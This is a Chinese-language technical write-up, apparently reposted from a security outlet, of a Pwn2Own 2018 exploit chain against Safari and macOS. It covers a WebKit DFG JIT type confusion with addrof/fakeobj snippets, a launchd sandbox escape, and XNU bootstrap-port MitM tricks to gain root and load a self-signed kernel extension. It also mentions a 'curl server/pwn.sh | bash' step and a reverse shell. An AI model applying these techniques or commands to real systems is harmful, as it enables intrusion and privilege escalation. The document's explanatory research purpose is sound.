Safari+macOS的全套漏洞利用链
Posted 嘶吼专业版
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Safari+macOS的全套漏洞利用链相关的知识,希望对你有一定的参考价值。
在今年的Pwn2Own 2018比赛中, 有多个针对苹果Safari浏览器的攻击挑战,今天我们就来介绍一下针对Safari的远程代码执行(RCE)、沙箱逃脱、本地特权升级(LPE)和针对macOS 10.13.3内核的漏洞利用。
攻击挑战的环境设置
安装nasm(全称The Netwide Assembler,是一款基于80x86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性)和tornado(一种 Web 服务器软件的开源版本):
brew install nasm
pip3 install tornado
如果要更改主机或端口,请检查config.py。然后使用./server.py启动服务器并导航到显示的URL。
漏洞链使用的背景知识
此漏洞链使用了三种不同的漏洞,包括在Safari内运行的javascript代码以及内核模式的代码执行,具体来说有三个:
1.DFG JIT编译器中的错误优化,可导致类混淆(TypeConfusion);
2.在launchd中缺少沙箱检查,允许沙箱进程生成任意(非沙箱)进程;
3.XNU内核中的一个逻辑漏洞,允许进程覆盖其子进程的引导端口,从而导致IPC的MITM(中间人攻击),XNU内核是ios的核心,与OSX版本几乎没有区别,是由三个主要部分组成的一个分层体系结构。
漏洞利用链分六个阶段实现,每个阶段都在自己的子目录中进行:
1.stage0/:WebKit漏洞利用;
2.stage1/:在程序集中编写的第一阶段有效载荷;
3.stage2/:执行沙箱逃脱的第二阶段有效载荷;
4.stage3/:用于协调其余各阶段的shell脚本;
5.stage4/:获得root权限的LPE;
6.stage5/:用于获取内核代码执行的LPE;
7.libspc/:第2阶段、第4阶段和第5阶段使用的XPC协议的重新实现;
每个子目录(libspc /除外)都包含一个名为make.py的文件,该文件在执行时执行必要的任何类型的构建命令,并创建一个由Web服务器提供服务的文件列表。
stage0
该阶段的目标是在实施沙箱检查的WebContent流程中实现shellcode执行,所用的漏洞是DFG JIT编译器中的错误优化。详情,请点此了解。
DFG JIT编译器在其自己的中间表示( intermediate representation),即数据流图(DFG)中表示JavaScript代码。通常,一个JavaScript表达式将被转换为此数据流图中的一个或多个IR指令。对于构造函数,发出CreateThis指令,并负责分配由该函数构造的对象。例如,当用new调用函数Consructor(){}时,将大致转换为以下内容。
v0 = CreateThis
return v0
查看AbstractInterpreter,我们可以看到DFG JIT编译器假定CreateThis操作除了堆分配之外不会产生任何有害结果。实际上,这段代码就是以下内容。
function Constructor(obj) {
return obj.x;
}
它们将被大致转换为以下DFG指令,本文中,StructureCheck被TypeCheckHoistingPhase移动到函数的起始位置。
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
可以看到DFG JIT编译器的无害假设是不符合实际的,该假设无效,因为CreateThis的slow-path代码在某些情况下可以执行任意JavaScript代码。特别是,通过在实际函数的周围使用代理,“prototype”属性的get trap将在CreateThis的slow-path处理程序中调用,这是因为它需要为构造的对象获取prototype对象。
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
因此,现在可以在没有JIT编译器执行修复的情况下修改对象的结构。
此漏洞可用于构造addrof和fakeobj原语,具体过程,我会在下面详细介绍。
addrof
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
fakeobj
现在,我们采用的方法和addrof里的方法刚好相反。我们会优化代码,将double存储到含有消除double的数组,然后在回调中再次转换到JavaScript Value元素。代码将继续以消除double的形式,将我们的受控double写入后备存储。当我们稍后访问这个数组元素时,它将把这些位作为一个JSValue而不是double。下面的代码将把取消double的address写入a的后端缓冲区,然后我们可以将其读取为JavaScript Value,从而允许我们将选择的JavaScript Value “注入”到引擎中。
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
这样,我们最终就能够编写一个double并将其视为JSObject指针,反之亦然。这可以像攻击javascript引擎中所描述的那样被攻击者利用。
该漏洞首先通过伪造Float64Array实现任意进程的内存读写,然后搜索JIT区域(映射的RWX)并在其中写入stage1 shellcode。
Stage 1
这个阶段的目标是通过将.dylib写入磁盘并通过dlopen()加载,引导第2阶段。
通过一个简短的有效载荷,可以执行以下操作:
1.调用confstr(\ _ CS \ _DARWIN \ _USER \ _TEMP \ _DIR)以获取可写目录的路径;
2.在可写目录中创建名为“x.dylib”的新文件;
3.将stage2 dylib写入新创建的文件中;
4.通过dlopen()将dylib加载到WebContent进程中;
Stage 2
这个阶段的目标是绕过沙箱检测,所利用的漏洞是在launchd的“legacy_spawn”API中缺少沙箱检测。详细过程,请点此。
Launchd在子系统3中将“legacy_spawn”RPC端点作为例程817公开,以至于API无法验证是否应允许调用者生成进程,并且只会在系统中为使用受控参数的调用方执行任何二进制文件。由于可以通过引导端口访问launchd,因此可以绕过沙箱检测。
这个漏洞实际上运行curl server / pwn.sh | bash,并将控制权传递给stage3的进程。
stage3
这个阶段的目标是协调其余各阶段的shell脚本,为此,系统将执行open /Applications/Calculator.app并建立反向shell,然后获取剩余阶段所需的所有文件并运行漏洞。
Stage4
这一阶段的目标是通过LPE漏洞获取root权限,漏洞之所会被利用,是因为攻击者可利用XNU引导程序端口,实现MitM。详情,请点此。
在XNU中,task_set_special_port API允许调用者覆盖其引导端口,该端口用于与launchd通信。此端口是在跨fork之间进行的,子进程将使用与父进程相同的引导端口。如果子进程比父进程具有更高权限,则会出现安全问题,例如sudo(setuid二进制)或kextutil(具有“com.apple.rootless.kext-management”权限)的情况。覆盖引导程序端口并实现子进程后,我们现在就可以获得子进程和launchd之间的MitM位置(当向引导端口发送消息时,我们的子进程期望出现在这个位置)。子进程将要求launchd解析各种mach和XPC,通过将这些服务解析到我们控制的其他端口,我们还可以通过子进程使用的任意系统服务获得MitM位置。然后,漏洞利用取决于被攻击的程序是如何使用这些服务的。
为了获得root,我们以sudo二进制文件为目标,并截获其与opendirectoryd的通信,opendirectoryd是sudo用来验证凭证的。我们修改了opendirectoryd的响应,使其看起来像是我们的有效密码。
不过,有研发人员试图修复这个漏洞,因为libxpc(它执行与launchd的通信)验证的响应确实来自uid = 0和pid = 1(== launchd)进程。但是,这些检查并不充分。我们可以按如下方式绕过它们,在我们自己的端口解析opendirectoryd,具体过程如下:
1.使用bootstrap_register2 API在launchd中注册我们自己的mach服务(例如net.saelo.hax);
2.拦截服务查找请求以启动并用net.saelo.hax替换字符串com.apple.system.opendirectoryd.api;
3.将请求转发到launchd,但保留原来的响应端口,因此launchd会直接响应子进程,并且成功检测子进程中的libxpc;
现在剩下的事情(比如将权限升级到root)就是在opendirectoryd和sudo之间转发消息,但要用成功的身份验证响应替换错误的响应。
Stage5
这个阶段的目标,是要加载一个(自签名)内核扩展。漏洞之所会被利用,是因为攻击者可利用XNU引导程序端口,实现MitM。
这个阶段,利用的是与stage4相同的漏洞,但这次是针对kextutil的。我们拦截了与com.apple.trustd的连接并欺骗了证书链,导致kextutil误以为我们的自签名kext是由apple直接签名的。
当要求从磁盘加载.kext时,kextutil进程大致如下所示:
1.通过检查所提供证书的所有签名来验证.kext的完整性;
2.与trustd进行通信,以获取证书链并确定root证书是否可信;
3.验证证书链的root是否为Apple证书;
只有通过与syspolicyd通信,才能检查.kext是否是用户批准的。但是,如果无法访问syspolicyd,则kextutil会继续执行。所以,以下攻击场景,都能够加载自签名内核扩展:
1.创建.kext并使用自签名证书对其进行签名;
2.运行kextutil并将com.apple.trustd解析为我们自己的服务;
3.拦截到trustd的消息,并使用官方apple .kext的硬编码证书链进行响应;
4.阻止与syspolicyd的通信,例如,在服务查找请求中将net.saelo.lolno替换为com.apple.security.syspolicy.kext,启动检测。
这样,kextutil现在就会将我们的内核扩展加载到内核中。
以上是关于Safari+macOS的全套漏洞利用链的主要内容,如果未能解决你的问题,请参考以下文章